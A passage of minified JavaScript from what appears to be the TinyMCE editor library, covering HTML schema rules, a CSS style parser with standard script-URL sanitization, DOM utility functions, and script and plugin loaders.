")),a("time","datetime",n),a("dialog","open",r),a("command","type label icon disabled checked radiogroup command"),a("output","for form name",n),a("progress","value max",n),a("meter","value min max low high optimum",n),a("details","open",[r,"summary"].join(" ")),a("keygen","autofocus challenge disabled form keytype name")),"html5-strict"!==e&&(c("script","language xml:space"),c("style","xml:space"),c("object","declare classid code codebase codetype archive standby align border hspace vspace"),c("embed","align name hspace vspace"),c("param","valuetype type"),c("a","charset name rev shape coords"),c("br","clear"),c("applet","codebase archive code object alt name width height align hspace vspace"),c("img","name longdesc align border hspace vspace"),c("iframe","longdesc frameborder marginwidth marginheight scrolling align"),c("font basefont","size color face"),c("input","usemap align"),c("select","onchange"),c("textarea"),c("h1 h2 h3 h4 h5 h6 div p legend caption","align"),c("ul","type compact"),c("li","type"),c("ol dl menu dir","compact"),c("pre","width xml:space"),c("hr","align noshade size width"),c("isindex","prompt"),c("table","summary width frame rules cellspacing cellpadding align bgcolor"),c("col","width align char charoff valign"),c("colgroup","width align char charoff valign"),c("thead","align char charoff valign"),c("tr","align char charoff valign bgcolor"),c("th","axis align char charoff valign nowrap bgcolor width height"),c("form","accept"),c("td","abbr axis scope align char charoff valign nowrap bgcolor width height"),c("tfoot","align char charoff valign"),c("tbody","align char charoff valign"),c("area","nohref"),c("body","background bgcolor text link vlink alink")),"html4"!==e&&(c("input button select textarea","autofocus"),c("input textarea","placeholder"),c("a","download"),c("link script img","crossorigin"),c("iframe","sandbox seamless allowfullscreen")),ii(ci("a form meter progress dfn"),function(e){s[e]&&delete s[e].children[e]}),delete s.caption.children.table,delete s.script,ni[e]=s)},fi=function(e,n){var r;return e&&(r={},"string"==typeof e&&(e={"*":e}),ii(e,function(e,t){r[t]=r[t.toUpperCase()]="map"===n?oi(e,/[, ]/):ui(e,/[, ]/)})),r};function di(i){var e,t,n,r,o,a,u,s,c,l,f,d,m,N={},g={},E=[],p={},h={},v=function(e,t,n){var r=i[e];return r?r=oi(r,/[, ]/,oi(r.toUpperCase(),/[, ]/)):(r=ni[e])||(r=oi(t," ",oi(t.toUpperCase()," ")),r=ai(r,n),ni[e]=r),r};n=li((i=i||{}).schema),!1===i.verify_html&&(i.valid_elements="*[*]"),e=fi(i.valid_styles),t=fi(i.invalid_styles,"map"),s=fi(i.valid_classes,"map"),r=v("whitespace_elements","pre script noscript style textarea video audio iframe object code"),o=v("self_closing_elements","colgroup dd dt li option p td tfoot th thead tr"),a=v("short_ended_elements","area base basefont br col frame hr img input isindex link meta param embed source wbr track"),u=v("boolean_attributes","checked compact declare defer disabled ismap multiple nohref noresize noshade nowrap readonly selected autoplay loop controls"),l=v("non_empty_elements","td th iframe video audio object script pre code",a),f=v("move_caret_before_on_enter_elements","table",l),d=v("text_block_elements","h1 h2 h3 h4 h5 h6 p div address pre form blockquote center dir fieldset header footer article section hgroup aside main nav figure"),c=v("block_elements","hr table tbody thead tfoot th tr td li ol ul caption dl dt dd noscript menu isindex option datalist select optgroup figcaption details summary",d),m=v("text_inline_elements","span strong b em i font strike u var cite dfn code mark q sup sub samp"),ii((i.special||"script noscript iframe noframes noembed title style textarea xmp").split(" "),function(e){h[e]=new RegExp("</"+e+"[^>]*>","gi")});var S=function(e){return new RegExp("^"+e.replace(/([?+*])/g,".$1")+"$")},y=function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,y,b,C=/^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/,x=/^([!\-])?(\w+[\\:]:\w+|[^=:<]+)?(?:([=:<])(.*))?$/,w=/[*?+]/;if(e)for(e=ci(e,","),N["@"]&&(h=N["@"].attributes,v=N["@"].attributesOrder),t=0,n=e.length;t<n;t++)if(i=C.exec(e[t])){if(g=i[1],c=i[2],p=i[3],s=i[5],a={attributes:d={},attributesOrder:m=[]},"#"===g&&(a.paddEmpty=!0),"-"===g&&(a.removeEmpty=!0),"!"===i[4]&&(a.removeEmptyAttrs=!0),h){for(y in h)d[y]=h[y];m.push.apply(m,v)}if(s)for(r=0,o=(s=ci(s,"|")).length;r<o;r++)if(i=x.exec(s[r])){if(u={},f=i[1],l=i[2].replace(/[\\:]:/g,":"),g=i[3],b=i[4],"!"===f&&(a.attributesRequired=a.attributesRequired||[],a.attributesRequired.push(l),u.required=!0),"-"===f){delete d[l],m.splice(si(m,l),1);continue}g&&("="===g&&(a.attributesDefault=a.attributesDefault||[],a.attributesDefault.push({name:l,value:b}),u.defaultValue=b),":"===g&&(a.attributesForced=a.attributesForced||[],a.attributesForced.push({name:l,value:b}),u.forcedValue=b),"<"===g&&(u.validValues=oi(b,"?"))),w.test(l)?(a.attributePatterns=a.attributePatterns||[],u.pattern=S(l),a.attributePatterns.push(u)):(d[l]||m.push(l),d[l]=u)}h||"@"!==c||(h=d,v=m),p&&(a.outputName=c,N[p]=a),w.test(c)?(a.pattern=S(c),E.push(a)):N[c]=a}},b=function(e){N={},E=[],y(e),ii(n,function(e,t){g[t]=e.children})},C=function(e){var a=/^(~)?(.+)$/;e&&(ni.text_block_elements=ni.block_elements=null,ii(ci(e,","),function(e){var t=a.exec(e),n="~"===t[1],r=n?"span":"div",o=t[2];if(g[o]=g[r],p[o]=r,n||(c[o.toUpperCase()]={},c[o]={}),!N[o]){var i=N[r];delete(i=ai({},i)).removeEmptyAttrs,delete i.removeEmpty,N[o]=i}ii(g,function(e,t){e[r]&&(g[t]=e=ai({},g[t]),e[o]=e[r])})}))},x=function(e){var o=/^([+\-]?)(\w+)\[([^\]]+)\]$/;ni[i.schema]=null,e&&ii(ci(e,","),function(e){var t,n,r=o.exec(e);r&&(n=r[1],t=n?g[r[2]]:g[r[2]]={"#comment":{}},t=g[r[2]],ii(ci(r[3],"|"),function(e){"-"===n?delete t[e]:t[e]={}}))})},w=function(e){var t,n=N[e];if(n)return n;for(t=E.length;t--;)if((n=E[t]).pattern.test(e))return n};return i.valid_elements?b(i.valid_elements):(ii(n,function(e,t){N[t]={attributes:e.attributes,attributesOrder:e.attributesOrder},g[t]=e.children}),"html5"!==i.schema&&ii(ci("strong/b em/i"),function(e){e=ci(e,"/"),N[e[1]].outputName=e[0]}),ii(ci("ol ul sub sup blockquote span font a table tbody tr strong em b i"),function(e){N[e]&&(N[e].removeEmpty=!0)}),ii(ci("p h1 h2 h3 h4 h5 h6 th td pre div address caption li"),function(e){N[e].paddEmpty=!0}),ii(ci("span"),function(e){N[e].removeEmptyAttrs=!0})),C(i.custom_elements),x(i.valid_children),y(i.extended_valid_elements),x("+ol[ul|ol],+ul[ul|ol]"),ii({dd:"dl",dt:"dl",li:"ul ol",td:"tr",th:"tr",tr:"tbody thead tfoot",tbody:"table",thead:"table",tfoot:"table",legend:"fieldset",area:"map",param:"video audio object"},function(e,t){N[t]&&(N[t].parentsRequired=ci(e))}),i.invalid_elements&&ii(ui(i.invalid_elements),function(e){N[e]&&delete N[e]}),w("span")||y("span[!data-mce-type|*]"),{children:g,elements:N,getValidStyles:function(){return e},getValidClasses:function(){return s},getBlockElements:function(){return c},getInvalidStyles:function(){return t},getShortEndedElements:function(){return a},getTextBlockElements:function(){return d},getTextInlineElements:function(){return m},getBoolAttrs:function(){return u},getElementRule:w,getSelfClosingElements:function(){return o},getNonEmptyElements:function(){return l},getMoveCaretBeforeOnEnterElements:function(){return f},getWhiteSpaceElements:function(){return r},getSpecialElements:function(){return h},isValidChild:function(e,t){var n=g[e.toLowerCase()];return!(!n||!n[t.toLowerCase()])},isValid:function(e,t){var n,r,o=w(e);if(o){if(!t)return!0;if(o.attributes[t])return!0;if(n=o.attributePatterns)for(r=n.length;r--;)if(n[r].pattern.test(e))return!0}return!1},getCustomElements:function(){return p},addValidElements:y,setValidElements:b,addCustomElements:C,addValidChildren:x}}var mi=function(e,t,n,r){var o=function(e){return 1<(e=parseInt(e,10).toString(16)).length?e:"0"+e};return"#"+o(t)+o(n)+o(r)};function gi(b,e){var C,t,c,l,x=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,w=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,N=/\s*([^:]+):\s*([^;]+);?/g,E=/\s+$/,S={},T="\ufeff";for(b=b||{},e&&(c=e.getValidStyles(),l=e.getInvalidStyles()),t=("\\\" \\' \\; \\: ; : "+T).split(" "),C=0;C<t.length;C++)S[t[C]]=T+C,S[T+C]=t[C];return{toHex:function(e){return e.replace(x,mi)},parse:function(e){var t,n,r,o,i,a,u,s,c={},l=b.url_converter,f=b.url_converter_scope||this,d=function(e,t,n){var r,o,i,a;if((r=c[e+"-top"+t])&&(o=c[e+"-right"+t])&&(i=c[e+"-bottom"+t])&&(a=c[e+"-left"+t])){var u=[r,o,i,a];for(C=u.length-1;C--&&u[C]===u[C+1];);-1<C&&n||(c[e+t]=-1===C?u[0]:u.join(" "),delete c[e+"-top"+t],delete c[e+"-right"+t],delete c[e+"-bottom"+t],delete c[e+"-left"+t])}},m=function(e){var t,n=c[e];if(n){for(t=(n=n.split(" ")).length;t--;)if(n[t]!==n[0])return!1;return c[e]=n[0],!0}},g=function(e){return o=!0,S[e]},p=function(e,t){return o&&(e=e.replace(/\uFEFF[0-9]/g,function(e){return S[e]})),t||(e=e.replace(/\\([\'\";:])/g,"$1")),e},h=function(e){return String.fromCharCode(parseInt(e.slice(1),16))},v=function(e){return e.replace(/\\[0-9a-f]+/gi,h)},y=function(e,t,n,r,o,i){if(o=o||i)return"'"+(o=p(o)).replace(/\'/g,"\\'")+"'";if(t=p(t||n||r),!b.allow_script_urls){var a=t.replace(/[\s\r\n]+/g,"");if(/(java|vb)script:/i.test(a))return"";if(!b.allow_svg_data_urls&&/^data:image\/svg/i.test(a))return""}return l&&(t=l.call(f,t,"style")),"url('"+t.replace(/\'/g,"\\'")+"')"};if(e){for(e=(e=e.replace(/[\u0000-\u001F]/g,"")).replace(/\\[\"\';:\uFEFF]/g,g).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(e){return e.replace(/[;:]/g,g)});t=N.exec(e);)if(N.lastIndex=t.index+t[0].length,n=t[1].replace(E,"").toLowerCase(),r=t[2].replace(E,""),n&&r){if(n=v(n),r=v(r),-1!==n.indexOf(T)||-1!==n.indexOf('"'))continue;if(!b.allow_script_urls&&("behavior"===n||/expression\s*\(|\/\*|\*\//.test(r)))continue;"font-weight"===n&&"700"===r?r="bold":"color"!==n&&"background-color"!==n||(r=r.toLowerCase()),r=(r=r.replace(x,mi)).replace(w,y),c[n]=o?p(r,!0):r}d("border","",!0),d("border","-width"),d("border","-color"),d("border","-style"),d("padding",""),d("margin",""),i="border",u="border-style",s="border-color",m(a="border-width")&&m(u)&&m(s)&&(c[i]=c[a]+" "+c[u]+" "+c[s],delete c[a],delete c[u],delete c[s]),"medium none"===c.border&&delete c.border,"none"===c["border-image"]&&delete c["border-image"]}return c},serialize:function(i,e){var t,n,r,o,a,u="",s=function(e){var t,n,r,o;if(t=c[e])for(n=0,r=t.length;n<r;n++)e=t[n],(o=i[e])&&(u+=(0<u.length?" ":"")+e+": "+o+";")};if(e&&c)s("*"),s(e);else for(t in i)!(n=i[t])||l&&(r=t,o=e,a=void 0,(a=l["*"])&&a[r]||(a=l[o])&&a[r])||(u+=(0<u.length?" ":"")+t+": "+n+";");return u}}}var pi,hi=Xt.each,vi=Xt.grep,yi=fe.ie,bi=/^([a-z0-9],?)+$/i,Ci=/^[ \t\r\n]*$/,xi=function(n,r,o){var e={},i=r.keep_values,t={set:function(e,t,n){r.url_converter&&(t=r.url_converter.call(r.url_converter_scope||o(),t,n,e[0])),e.attr("data-mce-"+n,t).attr(n,t)},get:function(e,t){return e.attr("data-mce-"+t)||e.attr(t)}};return e={style:{set:function(e,t){null===t||"object"!=typeof t?(i&&e.attr("data-mce-style",t),e.attr("style",t)):e.css(t)},get:function(e){var t=e.attr("data-mce-style")||e.attr("style");return t=n.serialize(n.parse(t),e[0].nodeName)}}},i&&(e.href=e.src=t),e},wi=function(e,t){var n=t.attr("style"),r=e.serialize(e.parse(n),t[0].nodeName);r||(r=null),t.attr("data-mce-style",r)},Ni=function(e,t){var n,r,o=0;if(e)for(n=e.nodeType,e=e.previousSibling;e;e=e.previousSibling)r=e.nodeType,(!t||3!==r||r!==n&&e.nodeValue.length)&&(o++,n=r);return o};function Ei(a,u){var s,c=this;void 0===u&&(u={});var r={},i=V.window,o={},t=0,e=function(m,g){void 0===g&&(g={});var p,h=0,v={};p=g.maxLoadTime||5e3;var y=function(e){m.getElementsByTagName("head")[0].appendChild(e)},n=function(e,t,n){var o,r,i,a,u=function(){for(var e=a.passed,t=e.length;t--;)e[t]();a.status=2,a.passed=[],a.failed=[]},s=function(){for(var e=a.failed,t=e.length;t--;)e[t]();a.status=3,a.passed=[],a.failed=[]},c=function(e,t){e()||((new Date).getTime()-i<p?he.setTimeout(t):s())},l=function(){c(function(){for(var e,t,n=m.styleSheets,r=n.length;r--;)if((t=(e=n[r]).ownerNode?e.ownerNode:e.owningElement)&&t.id===o.id)return u(),!0},l)},f=function(){c(function(){try{var e=r.sheet.cssRules;return u(),!!e}catch(t){}},f)};if(e=Xt._addCacheSuffix(e),v[e]?a=v[e]:(a={passed:[],failed:[]},v[e]=a),t&&a.passed.push(t),n&&a.failed.push(n),1!==a.status)if(2!==a.status)if(3!==a.status){if(a.status=1,(o=m.createElement("link")).rel="stylesheet",o.type="text/css",o.id="u"+h++,o.async=!1,o.defer=!1,i=(new Date).getTime(),g.contentCssCors&&(o.crossOrigin="anonymous"),"onload"in o&&!((d=V.navigator.userAgent.match(/WebKit\/(\d*)/))&&parseInt(d[1],10)<536))o.onload=l,o.onerror=s;else{if(0<V.navigator.userAgent.indexOf("Firefox"))return(r=m.createElement("style")).textContent='@import "'+e+'"',f(),void y(r);l()}var d;y(o),o.href=e}else s();else u()},t=function(t){return uo.nu(function(e){n(t,H(e,q(mo.value(t))),H(e,q(mo.error(t))))})},o=function(e){return e.fold($,$)};return{load:n,loadAll:function(e,n,r){co(W(e,t)).get(function(e){var t=K(e,function(e){return e.isValue()});0<t.fail.length?r(t.fail.map(o)):n(t.pass.map(o))})}}}(a,{contentCssCors:u.contentCssCors}),l=[],f=u.schema?u.schema:di({}),d=gi({url_converter:u.url_converter,url_converter_scope:u.url_converter_scope},u.schema),m=u.ownEvents?new Se(u.proxy):Se.Event,n=f.getBlockElements(),g=gn.overrideDefaults(function(){return{context:a,element:j.getRoot()}}),p=function(e){if(e&&a&&"string"==typeof e){var t=a.getElementById(e);return t&&t.id!==e?a.getElementsByName(e)[1]:t}return e},h=function(e){return"string"==typeof e&&(e=p(e)),g(e)},v=function(e,t,n){var r,o,i=h(e);return i.length&&(o=(r=s[t])&&r.get?r.get(i,t):i.attr(t)),void 0===o&&(o=n||""),o},y=function(e){var t=p(e);return t?t.attributes:[]},b=function(e,t,n){var r,o;""===n&&(n=null);var i=h(e);r=i.attr(t),i.length&&((o=s[t])&&o.set?o.set(i,n,t):i.attr(t,n),r!==n&&u.onSetAttrib&&u.onSetAttrib({attrElm:i,attrName:t,attrValue:n}))},C=function(){return u.root_element||a.body},x=function(e,t){return Zr.getPos(a.body,p(e),t)},w=function(e,t,n){var r=h(e);return n?r.css(t):("float"===(t=t.replace(/-(\D)/g,function(e,t){return t.toUpperCase()}))&&(t=fe.ie&&fe.ie<12?"styleFloat":"cssFloat"),r[0]&&r[0].style?r[0].style[t]:undefined)},N=function(e){var t,n;return e=p(e),t=w(e,"width"),n=w(e,"height"),-1===t.indexOf("px")&&(t=0),-1===n.indexOf("px")&&(n=0),{w:parseInt(t,10)||e.offsetWidth||e.clientWidth,h:parseInt(n,10)||e.offsetHeight||e.clientHeight}},E=function(e,t){var n;if(!e)return!1;if(!Array.isArray(e)){if("*"===t)return 1===e.nodeType;if(bi.test(t)){var r=t.toLowerCase().split(/,/),o=e.nodeName.toLowerCase();for(n=r.length-1;0<=n;n--)if(r[n]===o)return!0;return!1}if(e.nodeType&&1!==e.nodeType)return!1}var i=Array.isArray(e)?e:[e];return 0<St(t,i[0].ownerDocument||i[0],null,i).length},S=function(e,t,n,r){var o,i=[],a=p(e);for(r=r===undefined,n=n||("BODY"!==C().nodeName?C().parentNode:null),Xt.is(t,"string")&&(t="*"===(o=t)?function(e){return 1===e.nodeType}:function(e){return E(e,o)});a&&a!==n&&a.nodeType&&9!==a.nodeType;){if(!t||"function"==typeof t&&t(a)){if(!r)return[a];i.push(a)}a=a.parentNode}return r?i:null},T=function(e,t,n){var r=t;if(e)for("string"==typeof t&&(r=function(e){return E(e,t)}),e=e[n];e;e=e[n])if("function"==typeof r&&r(e))return e;return null},k=function(e,n,r){var o,t="string"==typeof e?p(e):e;if(!t)return!1;if(Xt.isArray(t)&&(t.length||0===t.length))return o=[],hi(t,function(e,t){e&&("string"==typeof e&&(e=p(e)),o.push(n.call(r,e,t)))}),o;var i=r||c;return n.call(i,t)},_=function(e,t){h(e).each(function(e,n){hi(t,function(e,t){b(n,t,e)})})},A=function(e,r){var t=h(e);yi?t.each(function(e,t){if(!1!==t.canHaveHTML){for(;t.firstChild;)t.removeChild(t.firstChild);try{t.innerHTML="<br>"+r,t.removeChild(t.firstChild)}catch(n){gn("<div></div>").html("<br>"+r).contents().slice(1).appendTo(t)}return r}}):t.html(r)},R=function(e,n,r,o,i){return k(e,function(e){var t="string"==typeof n?a.createElement(n):n;return _(t,r),o&&("string"!=typeof o&&o.nodeType?t.appendChild(o):"string"==typeof o&&A(t,o)),i?t:e.appendChild(t)})},D=function(e,t,n){return R(a.createElement(e),e,t,n,!0)},O=ti.decode,B=ti.encodeAllRaw,P=function(e,t){var n=h(e);return t?n.each(function(){for(var e;e=this.firstChild;)3===e.nodeType&&0===e.data.length?this.removeChild(e):this.parentNode.insertBefore(e,this)}).remove():n.remove(),1<n.length?n.toArray():n[0]},I=function(e,t,n){h(e).toggleClass(t,n).each(function(){""===this.className&&gn(this).attr("class",null)})},L=function(t,e,n){return k(e,function(e){return Xt.is(e,"array")&&(t=t.cloneNode(!0)),n&&hi(vi(e.childNodes),function(e){t.appendChild(e)}),e.parentNode.replaceChild(t,e)})},F=function(){return a.createRange()},M=function(e,t,n,r){if(Xt.isArray(e)){for(var o=e.length;o--;)e[o]=M(e[o],t,n,r);return e}return!u.collect||e!==a&&e!==i||l.push([e,t,n,r]),m.bind(e,t,n,r||j)},z=function(e,t,n){var r;if(Xt.isArray(e)){for(r=e.length;r--;)e[r]=z(e[r],t,n);return e}if(l&&(e===a||e===i))for(r=l.length;r--;){var o=l[r];e!==o[0]||t&&t!==o[1]||n&&n!==o[2]||m.unbind(o[0],o[1],o[2])}return m.unbind(e,t,n)},U=function(e){if(e&&jo.isElement(e)){var t=e.getAttribute("data-mce-contenteditable");return t&&"inherit"!==t?t:"inherit"!==e.contentEditable?e.contentEditable:null}return null},j={doc:a,settings:u,win:i,files:o,stdMode:!0,boxModel:!0,styleSheetLoader:e,boundEvents:l,styles:d,schema:f,events:m,isBlock:function(e){if("string"==typeof e)return!!n[e];if(e){var t=e.nodeType;if(t)return!(1!==t||!n[e.nodeName])}return!1},$:g,$$:h,root:null,clone:function(t,e){if(!yi||1!==t.nodeType||e)return t.cloneNode(e);if(!e){var n=a.createElement(t.nodeName);return hi(y(t),function(e){b(n,e.nodeName,v(t,e.nodeName))}),n}return null},getRoot:C,getViewPort:function(e){var t=e||i,n=t.document.documentElement;return{x:t.pageXOffset||n.scrollLeft,y:t.pageYOffset||n.scrollTop,w:t.innerWidth||n.clientWidth,h:t.innerHeight||n.clientHeight}},getRect:function(e){var t,n;return e=p(e),t=x(e),n=N(e),{x:t.x,y:t.y,w:n.w,h:n.h}},getSize:N,getParent:function(e,t,n){var r=S(e,t,n,!1);return r&&0<r.length?r[0]:null},getParents:S,get:p,getNext:function(e,t){return T(e,t,"nextSibling")},getPrev:function(e,t){return T(e,t,"previousSibling")},select:function(e,t){return St(e,p(t)||u.root_element||a,[])},is:E,add:R,create:D,createHTML:function(e,t,n){var r,o="";for(r in o+="<"+e,t)t.hasOwnProperty(r)&&null!==t[r]&&"undefined"!=typeof t[r]&&(o+=" "+r+'="'+B(t[r])+'"');return void 0!==n?o+">"+n+"</"+e+">":o+" />"},createFragment:function(e){var t,n=a.createElement("div"),r=a.createDocumentFragment();for(r.appendChild(n),e&&(n.innerHTML=e);t=n.firstChild;)r.appendChild(t);return r.removeChild(n),r},remove:P,setStyle:function(e,t,n){var r=h(e).css(t,n);u.update_styles&&wi(d,r)},getStyle:w,setStyles:function(e,t){var n=h(e).css(t);u.update_styles&&wi(d,n)},removeAllAttribs:function(e){return k(e,function(e){var t,n=e.attributes;for(t=n.length-1;0<=t;t--)e.removeAttributeNode(n.item(t))})},setAttrib:b,setAttribs:_,getAttrib:v,getPos:x,parseStyle:function(e){return d.parse(e)},serializeStyle:function(e,t){return d.serialize(e,t)},addStyle:function(e){var t,n;if(j!==Ei.DOM&&a===V.document){if(r[e])return;r[e]=!0}(n=a.getElementById("mceDefaultStyles"))||((n=a.createElement("style")).id="mceDefaultStyles",n.type="text/css",(t=a.getElementsByTagName("head")[0]).firstChild?t.insertBefore(n,t.firstChild):t.appendChild(n)),n.styleSheet?n.styleSheet.cssText+=e:n.appendChild(a.createTextNode(e))},loadCSS:function(e){var n;j===Ei.DOM||a!==V.document?(e||(e=""),n=a.getElementsByTagName("head")[0],hi(e.split(","),function(e){var t;e=Xt._addCacheSuffix(e),o[e]||(o[e]=!0,t=D("link",{rel:"stylesheet",href:e}),n.appendChild(t))})):Ei.DOM.loadCSS(e)},addClass:function(e,t){h(e).addClass(t)},removeClass:function(e,t){I(e,t,!1)},hasClass:function(e,t){return h(e).hasClass(t)},toggleClass:I,show:function(e){h(e).show()},hide:function(e){h(e).hide()},isHidden:function(e){return"none"===h(e).css("display")},uniqueId:function(e){return(e||"mce_")+t++},setHTML:A,getOuterHTML:function(e){var t="string"==typeof e?p(e):e;return jo.isElement(t)?t.outerHTML:gn("<div></div>").append(gn(t).clone()).html()},setOuterHTML:function(e,t){h(e).each(function(){try{if("outerHTML"in this)return void(this.outerHTML=t)}catch(e){}P(gn(this).html(t),!0)})},decode:O,encode:B,insertAfter:function(e,t){var r=p(t);return k(e,function(e){var t,n;return t=r.parentNode,(n=r.nextSibling)?t.insertBefore(e,n):t.appendChild(e),e})},replace:L,rename:function(t,e){var n;return t.nodeName!==e.toUpperCase()&&(n=D(e),hi(y(t),function(e){b(n,e.nodeName,v(t,e.nodeName))}),L(n,t,!0)),n||t},findCommonAncestor:function(e,t){for(var n,r=e;r;){for(n=t;n&&r!==n;)n=n.parentNode;if(r===n)break;r=r.parentNode}return!r&&e.ownerDocument?e.ownerDocument.documentElement:r},toHex:function(e){return d.toHex(Xt.trim(e))},run:k,getAttribs:y,isEmpty:function(e,t){var n,r,o,i,a,u,s=0;if(e=e.firstChild){a=new go(e,e.parentNode),t=t||(f?f.getNonEmptyElements():null),i=f?f.getWhiteSpaceElements():{};do{if(o=e.nodeType,jo.isElement(e)){var c=e.getAttribute("data-mce-bogus");if(c){e=a.next("all"===c);continue}if(u=e.nodeName.toLowerCase(),t&&t[u]){if("br"===u){s++,e=a.next();continue}return!1}for(n=(r=y(e)).length;n--;)if("name"===(u=r[n].nodeName)||"data-mce-bookmark"===u)return!1}if(8===o)return!1;if(3===o&&!Ci.test(e.nodeValue))return!1;if(3===o&&e.parentNode&&i[e.parentNode.nodeName]&&Ci.test(e.nodeValue))return!1;e=a.next()}while(e)}return s<=1},createRng:F,nodeIndex:Ni,split:function(e,t,n){var r,o,i,a=F();if(e&&t)return a.setStart(e.parentNode,Ni(e)),a.setEnd(t.parentNode,Ni(t)),r=a.extractContents(),(a=F()).setStart(t.parentNode,Ni(t)+1),a.setEnd(e.parentNode,Ni(e)+1),o=a.extractContents(),(i=e.parentNode).insertBefore(qo.trimNode(j,r),e),n?i.insertBefore(n,e):i.insertBefore(t,e),i.insertBefore(qo.trimNode(j,o),e),P(e),n||t},bind:M,unbind:z,fire:function(e,t,n){return m.fire(e,t,n)},getContentEditable:U,getContentEditableParent:function(e){for(var t=C(),n=null;e&&e!==t&&null===(n=U(e));e=e.parentNode);return n},destroy:function(){if(l)for(var e=l.length;e--;){var t=l[e];m.unbind(t[0],t[1],t[2])}St.setDocument&&St.setDocument()},isChildOf:function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1},dumpRng:function(e){return"startContainer: "+e.startContainer.nodeName+", startOffset: "+e.startOffset+", endContainer: "+e.endContainer.nodeName+", endOffset: "+e.endOffset}};return s=xi(d,u,function(){return j}),j}(pi=Ei||(Ei={})).DOM=pi(V.document),pi.nodeIndex=Ni;var Si=Ei,Ti=Si.DOM,ki=Xt.each,_i=Xt.grep,Ai=function(e){return"function"==typeof e},Ri=function(){var l={},o=[],i={},a=[],f=0;this.isDone=function(e){return 2===l[e]},this.markDone=function(e){l[e]=2},this.add=this.load=function(e,t,n,r){l[e]===undefined&&(o.push(e),l[e]=0),t&&(i[e]||(i[e]=[]),i[e].push({success:t,failure:r,scope:n||this}))},this.remove=function(e){delete l[e],delete i[e]},this.loadQueue=function(e,t,n){this.loadScripts(o,e,t,n)},this.loadScripts=function(n,e,t,r){var u,s=[],c=function(t,e){ki(i[e],function(e){Ai(e[t])&&e[t].call(e.scope)}),i[e]=undefined};a.push({success:e,failure:r,scope:t||this}),(u=function(){var e=_i(n);if(n.length=0,ki(e,function(e){var t,n,r,o,i,a;2!==l[e]?3!==l[e]?1!==l[e]&&(l[e]=1,f++,t=e,n=function(){l[e]=2,f--,c("success",e),u()},r=function(){l[e]=3,f--,s.push(e),c("failure",e),u()},i=(a=Ti).uniqueId(),(o=V.document.createElement("script")).id=i,o.type="text/javascript",o.src=Xt._addCacheSuffix(t),o.onload=function(){a.remove(i),o&&(o.onreadystatechange=o.onload=o=null),n()},o.onerror=function(){Ai(r)?r():"undefined"!=typeof console&&console.log&&console.log("Failed to load script: "+t)},(V.document.getElementsByTagName("head")[0]||V.document.body).appendChild(o)):c("failure",e):c("success",e)}),!f){var t=a.slice(0);a.length=0,ki(t,function(e){0===s.length?Ai(e.success)&&e.success.call(e.scope):Ai(e.failure)&&e.failure.call(e.scope,s)})}})()}};Ri.ScriptLoader=new Ri;var Di,Oi=Xt.each;function Bi(){var r=this,o=[],a={},u={},i=[],s=function(e){var t;return u[e]&&(t=u[e].dependencies),t||[]},c=function(e,t){return"object"==typeof t?t:"string"==typeof e?{prefix:"",resource:t,suffix:""}:{prefix:e.prefix,resource:t,suffix:e.suffix}},l=function(e,n,t,r){var o=s(e);Oi(o,function(e){var t=c(n,e);f(t.resource,t,undefined,undefined)}),t&&(r?t.call(r):t.call(Ri))},f=function(e,t,n,r,o){if(!a[e]){var i="string"==typeof t?t:t.prefix+t.resource+t.suffix;0!==i.indexOf("/")&&-1===i.indexOf("://")&&(i=Bi.baseURL+"/"+i),a[e]=i.substring(0,i.lastIndexOf("/")),u[e]?l(e,t,n,r):Ri.ScriptLoader.add(i,function(){return l(e,t,n,r)},r,o)}};return{items:o,urls:a,lookup:u,_listeners:i,get:function(e){return u[e]?u[e].instance:undefined},dependencies:s,requireLangPack:function(e,t){var n=Bi.language;if(n&&!1!==Bi.languageLoad){if(t)if(-1!==(t=","+t+",").indexOf(","+n.substr(0,2)+","))n=n.substr(0,2);else if(-1===t.indexOf(","+n+","))return;Ri.ScriptLoader.add(a[e]+"/langs/"+n+".js")}},add:function(t,e,n){o.push(e),u[t]={instance:e,dependencies:n};var r=K(i,function(e){return e.name===t});return i=r.fail,Oi(r.pass,function(e){e.callback()}),e},remove:function(e){delete a[e],delete u[e]},createUrl:c,addComponents:function(e,t){var n=r.urls[e];Oi(t,function(e){Ri.ScriptLoader.add(n+"/"+e)})},load:f,waitFor:function(e,t){u.hasOwnProperty(e)?t():i.push({name:e,callback:t})}}}(Di=Bi||(Bi={})).PluginManager=Di(),Di.ThemeManager=Di();var Pi=function(t,n){Vr(t).each(function(e){e.dom().insertBefore(n.dom(),t.dom())})},Ii=function(e,t){qr(e).fold(function(){Vr(e).each(function(e){Fi(e,t)})},function(e){Pi(e,t)})},Li=function(t,n){Yr(t).fold(function(){Fi(t,n)},function(e){t.dom().insertBefore(n.dom(),e.dom())})},Fi=function(e,t){e.dom().appendChild(t.dom())},Mi=function(t,e){z(e,function(e){Fi(t,e)})},zi=function(e){e.dom().textContent="",z(Kr(e),function(e){Ui(e)})},Ui=function(e){var t=e.dom();null!==t.parentNode&&t.parentNode.removeChild(t)},ji=function(e){var t,n=Kr(e);0<n.length&&(t=e,z(n,function(e){Pi(t,e)})),Ui(e)},Vi=function(n,r){var o=null;return{cancel:function(){null!==o&&(V.clearTimeout(o),o=null)},throttle:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];null===o&&(o=V.setTimeout(function(){n.apply(null,e),o=null},r))}}},Hi=function(e){var t=e,n=function(){return t};return{get:n,set:function(e){t=e},clone:function(){return Hi(n())}}},qi=function(e,t){var n=Er(e,t);return n===undefined||""===n?[]:n.split(" ")},$i=function(e){return e.dom().classList!==undefined},Wi=function(e,t){return o=t,i=qi(n=e,r="class").concat([o]),wr(n,r,i.join(" ")),!0;var n,r,o,i},Ki=function(e,t){return o=t,0<(i=U(qi(n=e,r="class"),function(e){return e!==o})).length?wr(n,r,i.join(" ")):Sr(n,r),!1;var 